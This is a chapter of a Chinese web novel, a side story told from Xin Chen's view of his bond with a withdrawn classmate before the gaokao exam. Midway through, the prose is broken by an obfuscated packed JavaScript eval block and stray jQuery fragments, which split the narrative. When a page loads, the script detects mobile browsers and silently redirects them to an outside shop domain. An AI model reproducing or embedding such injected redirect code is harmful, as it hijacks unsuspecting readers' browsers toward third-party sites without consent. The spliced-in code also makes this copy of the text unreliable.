文趣网 > 都市小说 > 如是眉间雨 > 29. 番外·辛晨视角(2)
    小时候,因为心脏不好,辛晨总是没法和同学们打成一片。

    他们下课追逐打闹,他只能坐在座位上旁观;他们放学后吆三喝四约出去闯祸,他早早回家帮父母干简单的家务。

    因而,最向往嬉戏玩耍的童年,他却是在漫长的孤独中度过的。

    那种并非被排挤,而是主动选择独行,偏又不甘游离在外的感觉,绝不好受。

    所以,他能够感同身受,徐又宁为什么身处人海,但活得像座孤岛。

    她在班里没有朋友——他刚转进来没多久,就发现了。

    这其实是件十分异常的事。

    她长相秀丽,杏眼、鹅蛋脸,头发有点儿自然卷,显得毛茸茸的,看起来没有任何攻击性。

    徐阿姨对她从小的教育也很上心,她符合广义和狭义的“三好学生”的标准。

    起初,辛晨理所应当地以为,是因为她刚经历人生剧变,心理上难以接受,把自己裹成茧,一笔抹煞外界的关心或是中伤。

    后来,他从徐阿姨的严苛管教中窥出端倪。

    她巨细无靡地关注着徐又宁在学校的表现,大到月考成绩,小到吃了什么东西。

    于是他发现,所谓的优等生,原来也是会撒谎的,甚至,还会威胁人。

    这有些超出他原本对她的认知。

    徐又宁的内心里,或许藏着一间牢房,她所有的负面情绪,嫉妒、轻慢、软弱、暴躁……通通被她关押进去。

    人的精力像是一支有限的军队,她派出太多兵马去看守它们,哪还匀得出人手去开拓疆土。

    当她的生活山崩地裂,那些“罪徒”也失控了。

    好学生皮囊被撕扯得支离破碎,变成了他如今见到的模样。

    据说,人们在回忆过去时,大脑会为之赋予更积极的情感色彩,称之为玫瑰色回忆效应。

    辛晨被那层玫瑰色滤镜欺骗,把只有短暂交集的幼年徐又宁,想象成一个美好、可爱的小女孩,而越是美好的东西毁灭,越是令人惋惜乃至痛苦。

    他试图挽回局面。

    他的做法显而易见很不成熟。

    利用她对陶新月的敬怕,逼迫她好好吃饭。

    她薄得简直像张纸,风一吹,就会飘走。这种抓不住的不安感,在背她上楼梯时,达到巅峰。

    明明她就趴在他背上,他托着她的腿,她却仿佛随时都会消失似的。

    又仗着帮她顶锅的恩情,帮助她修复她的友谊。

    尽管他根本不知道它破裂的缘由,但他清清楚楚地看到了,那天她和一个女生擦肩而过时的失落和怔然。

    然而,似乎没有起到作用。

    那或许,带她出去晒晒太阳会好一点。

    从生物学上分析,阳光照射皮肤,促进产生内啡肽,同时降低皮质醇,增强身心愉悦感。

    当然,辛晨的想法没有那么科学。他只是单纯觉得,她像一本浸在梅雨天,快发霉腐烂的书,需要到阳光底下摊开晒一晒。

    没想到的是,她对他的多管闲事大发雷霆。

    大庭广众之下的怒吼,像重重的一巴掌扇在他脸上。

    辛晨忽而自我怀疑,他所做一切,是否终究是徒劳,又有何意义?

    他来到这里的目的,不就只是高考吗?他又何苦煞费心机帮助她走出人生困局?他们仅有的丁点儿情分,不过就是幼年一同玩耍过,何况,她都不记得了。

    辛晨花了一整天开导自己,把自己也武装得和她一样冷硬。

    结果,所有辛苦搭筑的心理堡垒,在看见她逞强值日时,一溃千里。

    在那一刻,他被一种微妙复杂的感情击中。

    她竭尽所能告诉外界,她没有废,她也不需要什么特殊关照。

    而越是努力,越她在意这件事。

    徐又宁或许没有意识到自己的矛盾,她既想自我放逐,随便烂在哪儿;自尊心却又极强,像只竖起刺的刺猬。

    而这种矛盾,像从淤泥里开出一朵玫瑰,具有一种特殊的芬芳。

    辛晨鬼使神差地朝它走去,不为采撷,只为保护。

    花就该开在土地上。

    她终于对他笑了。

    她的漂亮,不是按照五官精致,皮肤白皙,身材匀称那种模板式长的,而是从骨肉中透出来的,灰败中那一丝生机。

    辛晨得到前所未有的成就感,与过去成绩进步,收获老师的夸赞,也与经历数次治疗和手术,变得健康截然不同的满足。

    像是呕心沥血,创造出一件作品。

    但徐又宁并不是他的作品。

    假使他在塑造全新的她的过程中,起了什么至关重要的作用,那对他的奖赏,就是她的笑容。

    还有……

    只在他面前流露出来的脆弱。

    比起笑容,她的眼泪似乎更稀缺且珍贵。

    那里面,关着她长久以来,剔骨削肉剥离出来的不平、委屈、悲伤……以至于它们一泄而出时,那样的庞大,赤手空拳的他,几乎毫无招架之力。

    她哭得眼皮泛红,泪像天空忽然下起的雨,淋湿她的脸。

    辛晨想替她擦去泪痕,继而又觉得,她没有赋予他承接另一面的她的权利,那他就没有资格触碰。

    ——对于大多数人而言,这是绝对私密的一件事。

    他默不作声地守着,无声地告诉她,如果她需要他,他随时能响应。

    虽然她没有,但那天之后,他们的关系似乎突破了某个障碍,介于普通同学到好友之间。

    徐又宁喜欢画画,她经常上课不听讲,埋头在草稿纸、画纸上勾勒一些他看不懂的,潦草得堪称狂野的线条。

    尽管他看得出来,这绝非出于理想爱好,而是打发漫长的时间和无处发泄的情绪的工具——正因此,每一道笔触似乎都迸发着蓬勃的生命力。

    但客观上来说,这绝对称得上一件好事。如果她完全丧失了对生的渴望,那么她就不会与无望做对抗。

    他对她说,他等她将来变成一位大画家。

    不全是鼓励她好好活着,而是他真的相信,以她的性格,只要是她想做的事,一定能做到。

    徐又宁。

    如果命运要打断你的脊梁,会让你听到的每一声赞美都是给别人的喝彩,会让你为了生活咽下吞苍蝇般的恶心,会推着你离年少时的理想越走越远,会用单调乏味的日子慢慢蚕食掉你所有志气……

    会让你清楚地感受这一切却毫无反抗之力。

    如果你身后空无一人,我为你摇旗呐喊。<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17549973|202302||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>后来的事实证明,他的预想是正确的。

    只是可惜,那时他已不在她身边,没法陪她从籍籍无名,走到炙手可热。

    -

    临近高考,夏天心问他,周末去不去灵福寺祈福。

    辛晨知道徐又宁不会想去,这种关键节点,不如多在家刷两套模拟卷来得实在。

    夏天心一句话堵住了他拒绝的话。

    “你知道吗?很多时候,人们拜神求佛,就像寄信一样,不过就是为了将愿望寄托出去罢了。”

    她眼睛含笑地看着他,像是窥得他心底最深的秘密,而洋洋自得。

    说实话,他不太喜欢她。

    张扬高调,直白得几近强势,不给人半点反应时间。很适合当领导者,但不是所有人愿意在友情或爱情中被“领导”。

    她作为班长,每天周旋在老师、同学之间,发觉他对徐又宁的心思,并不奇怪。

    辛晨有些张皇,没过脑子就答应了,事后反应过来,她看穿又怎样,他咬死不承认不就得了?

    意料之外的是,徐又宁竟然主动和他一起去。

    他不由得想,那她的愿望是什么?

    公交车上,她靠在他的肩头睡着了。

    离得那样近,他一垂眸,就能看到她眼睫毛打下一片阴影,脸上细小的绒毛,以及随着呼吸,微微起伏的胸口。

    衣服大概是以前的,对现在的她来说,宽松不少,领口挤出的褶皱,形成一道豁口,容纳向内探扫的目光。

    辛晨才瞥到那片腻白,便立即转开了视线。

    他极力控制着过躁的心跳,以免将她吵醒。

    得转移注意力。

    思维发散着,落到了“她和我在一起,似乎越来越放松了,竟然睡得这么安稳”上。

    不行。

    好像跳得更快了。

    她醒来,立即坐直了身子,他若无其事地看着窗外风景。

    大家在佛像前跪拜,辛晨不由得想到夏天心的话。

    他并不祈求虚无缥缈的神明帮他实现愿望,但他的确需要将它寄出去——收件人是未来的他自己。

    他闭上眼睛,想,辛晨,你要和徐又宁考去同一座城市。

    然而他难免设想,和她分隔天南海北的可能性。

    所以,他在许愿牌上写下《楚门的世界》结尾那句“祝你早安、午安、晚安”。

    前一句是,假如,再也见不到你。

    即便我们走上陌路,也希望你一切都好。

    后来的一切,都朝着辛晨始料未及的方向走。

    徐又宁考前状态很差,考试发挥不理想,考后又发起了烧。

    这时,家里打来电话催促,考完了就早点回来,别继续打扰人家。

    他一向无条件听从父母的话,那次难得违抗他们的意思,说,他想再多留几天。

    直到徐又宁痊愈,他给自己找的理由,也终于到期了。

    但他仍抱有最后一丝期盼,如果,如果,她让他留下来……

    她说,一路顺风。

    他还是回去了。

    紧绷已久,回到熟悉的地方,理应会舒展开,他却不知为何,像一只失去生命的海葵。

    静静地等待潮浪,或者其他生物将他吞噬。